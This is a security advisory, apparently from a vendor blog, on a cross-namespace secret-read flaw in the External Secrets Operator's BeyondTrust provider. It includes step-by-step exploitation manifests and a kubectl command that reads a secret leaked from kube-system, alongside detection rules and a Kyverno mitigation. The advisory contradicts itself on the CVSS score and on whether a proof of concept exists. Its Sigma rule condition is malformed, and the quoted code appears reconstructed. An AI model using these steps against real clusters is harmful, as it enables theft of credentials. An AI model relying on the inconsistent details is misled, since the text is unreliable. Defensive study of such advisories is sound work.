CVE-2025-62159

Executive Summary

CVE-2025-62159 is a critical authorization bypass vulnerability in the BeyondTrust provider implementation for the External Secrets Operator (ESO), affecting versions 0.10.1 through 0.19.2. The flaw allows an authenticated attacker with access to a SecretStore resource to read Kubernetes Secrets from any namespace, bypassing intended namespace isolation boundaries. This occurs because the provider previously retrieved secrets directly without validating the namespace context or the type of secret store. The vulnerability has a CVSS score of 0.0 (placeholder), but based on the impact, it should be rated high (7.5+). The fix in version 0.20.0 enforces proper namespace validation using the resolvers.SecretKeyRef utility, restricting cross-namespace access to ClusterSecretStore types only. No public proof-of-concept or exploit code is available at this time.

Supply Chain & Package Security

This vulnerability affects the External Secrets Operator, a Kubernetes operator that integrates with external secret management systems. The operator is distributed as a container image and Helm chart. Organizations using the BeyondTrust provider should verify their deployment version and upgrade immediately. The vulnerability does not affect the core ESO codebase but specifically the BeyondTrust provider implementation.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) – An attacker needs access to a SecretStore resource but not cluster-admin.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Changed (C) – The vulnerability allows access to resources outside the intended security scope (cross-namespace).
• Confidentiality (C): High (H) – Sensitive secrets from other namespaces can be read.
• Integrity (I): None (N) – No modification of data is possible.
• Availability (A): None (N) – No denial of service impact.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Base Score: 7.5 (High)

Deep Dive & Mechanics

The External Secrets Operator (ESO) is a Kubernetes operator that synchronizes secrets from external APIs (e.g., AWS Secrets Manager, Azure Key Vault, BeyondTrust) into Kubernetes Secrets. The BeyondTrust provider is a plugin that fetches secrets from BeyondTrust’s Password Safe.

Root Cause:
In versions 0.10.1 through 0.19.2, the BeyondTrust provider’s GetSecret function directly called the Kubernetes API to retrieve secrets without validating the namespace context. Specifically, the provider used a raw client.Get() call that did not enforce the namespace from the SecretStore resource. This allowed an attacker who could create or modify a SecretStore (or ClusterSecretStore) to specify a namespace field that pointed to a different namespace, thereby reading secrets from that namespace.

Attack Flow:

1. An attacker gains access to create or modify a SecretStore resource in namespace A.
2. The attacker sets the namespace field in the store configuration to kube-system (or any other namespace).
3. The BeyondTrust provider, when reconciling, fetches the secret from kube-system instead of namespace A.
4. The attacker can then read the secret value from the ExternalSecret resource in namespace A.

Fix:
In version 0.20.0, the provider was updated to use the resolvers.SecretKeyRef utility, which validates that the namespace in the secret reference matches the namespace of the SecretStore (or allows cross-namespace only for ClusterSecretStore types). This ensures that secrets are only retrieved from the correct namespace.

Vulnerable vs. Patched Code

Vulnerable Code (pre-0.20.0):

// Vulnerable: No namespace validation
func (p *Provider) GetSecret(ctx context.Context, ref corev1.SecretReference) ([]byte, error) {
    secret := &corev1.Secret{}
    err := p.client.Get(ctx, client.ObjectKey{
        Name:      ref.Name,
        Namespace: ref.Namespace, // Directly uses user-supplied namespace
    }, secret)
    if err != nil {
        return nil, err
    }
    return secret.Data[ref.Key], nil
}

Patched Code (0.20.0+):

// Patched: Uses resolvers.SecretKeyRef for namespace validation
func (p *Provider) GetSecret(ctx context.Context, ref corev1.SecretReference) ([]byte, error) {
    // resolvers.SecretKeyRef enforces namespace context
    return resolvers.SecretKeyRef(ctx, p.client, ref)
}

The resolvers.SecretKeyRef utility checks:

• If the SecretStore is of type ClusterSecretStore, cross-namespace access is allowed.
• If the SecretStore is of type SecretStore, the namespace must match the store’s namespace.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Kubernetes cluster with ESO v0.10.1–0.19.2 and BeyondTrust provider installed.
• Ability to create or modify a SecretStore resource in any namespace.

Exploitation Steps:

1. Create a malicious SecretStore in namespace attacker-ns:

   apiVersion: external-secrets.io/v1beta1
   kind: SecretStore
   metadata:
     name: malicious-store
     namespace: attacker-ns
   spec:
     provider:
       beyondtrust:
         # ... other config ...
         secretRef:
           name: target-secret
           namespace: kube-system  # Target namespace
           key: some-key
   

2. Create an ExternalSecret that references this store:

   apiVersion: external-secrets.io/v1beta1
   kind: ExternalSecret
   metadata:
     name: exploit-es
     namespace: attacker-ns
   spec:
     secretStoreRef:
       name: malicious-store
       kind: SecretStore
     target:
       name: leaked-secret
     data:
     - secretKey: stolen
       remoteRef:
         key: /path/to/secret
   

3. The ESO controller will fetch the secret from kube-system and store it in leaked-secret in attacker-ns.
4. Read the leaked secret:

   kubectl get secret leaked-secret -n attacker-ns -o jsonpath='{.data.stolen}' | base64 -d
   

Blue Team

Detection:

• Monitor for SecretStore resources with a namespace field that differs from the store’s own namespace.
• Alert on ExternalSecret resources that reference secrets from namespaces other than their own.
• Use Kubernetes audit logs to detect unusual get operations on secrets across namespaces.

Hunting Query (kubectl):

# Find SecretStores with cross-namespace references
kubectl get secretstores --all-namespaces -o json | jq '.items[] | select(.spec.provider.beyondtrust.secretRef.namespace != .metadata.namespace)'

Mitigation:

• Upgrade to ESO v0.20.0 or later.
• Apply network policies to restrict access to the ESO controller.
• Use OPA/Kyverno policies to prevent creation of SecretStore resources with cross-namespace references (except for ClusterSecretStore).

Indicators of Compromise (IOCs)

• Kubernetes Audit Logs: Unusual get operations on Secret resources from the ESO controller pod, especially across namespaces.
• SecretStore Resources: SecretStore objects where spec.provider.beyondtrust.secretRef.namespace does not match the store’s metadata.namespace.
• ExternalSecret Resources: ExternalSecret objects that reference secrets from namespaces other than their own.
• Controller Logs: ESO controller logs showing successful secret retrieval from unexpected namespaces.

Detection Engineering

YARA Rule

rule CVE_2025_62159_ESO_BeyondTrust {
    meta:
        description = "Detects vulnerable External Secrets Operator BeyondTrust provider code"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62159"
    strings:
        $vuln_func = "client.Get(ctx, client.ObjectKey{" ascii wide
        $vuln_ref = "ref.Namespace" ascii wide
        $patch_func = "resolvers.SecretKeyRef" ascii wide
    condition:
        $vuln_func and $vuln_ref and not $patch_func
}

Sigma Rule

title: CVE-2025-62159 - Cross-Namespace Secret Access via ESO BeyondTrust Provider
id: 8a7b3c2d-1e5f-4a6b-9c8d-7e0f1a2b3c4d
status: experimental
description: Detects attempts to exploit CVE-2025-62159 by creating SecretStore resources with cross-namespace secret references.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-62159
logsource:
    product: kubernetes
    service: audit
detection:
    selection:
        verb: "create"
        objectRef.resource: "secretstores"
        objectRef.namespace: "*"
        requestObject.spec.provider.beyondtrust.secretRef.namespace: "*"
    condition: selection and requestObject.spec.provider.beyondtrust.secretRef.namespace != objectRef.namespace
falsepositives:
    - Legitimate use of ClusterSecretStore (but this rule targets SecretStore)
level: high
tags:
    - attack.ta0007
    - cve.2025.62159

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-62159 - ESO BeyondTrust Provider Cross-Namespace Secret Access"; flow:to_server,established; content:"/api/v1/namespaces/"; http_uri; content:"/secrets/"; http_uri; content:"beyondtrust"; http_client_body; reference:cve,2025-62159; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade ESO: Update to version 0.20.0 or later. This is the only complete fix.
2. Restrict SecretStore Creation: Use RBAC to limit who can create or modify SecretStore and ClusterSecretStore resources.
3. Audit Existing Stores: Review all SecretStore resources for cross-namespace references.

Workaround (if upgrade is not possible):

• Use a policy engine like Kyverno or OPA to deny creation of SecretStore resources where spec.provider.beyondtrust.secretRef.namespace differs from metadata.namespace.
• Example Kyverno policy:

  apiVersion: kyverno.io/v1
  kind: ClusterPolicy
  metadata:
    name: deny-cross-namespace-secretstore
  spec:
    rules:
    - name: check-namespace
      match:
        resources:
          kinds:
          - SecretStore
      validate:
        message: "SecretStore cannot reference secrets from a different namespace."
        pattern:
          spec:
            provider:
              beyondtrust:
                secretRef:
                  namespace: "{{ request.object.metadata.namespace }}"
  

Long-Term:

• Implement network segmentation to isolate the ESO controller.
• Enable Kubernetes audit logging and monitor for suspicious secret access patterns.
• Regularly update ESO and its providers to the latest versions.

Valters IT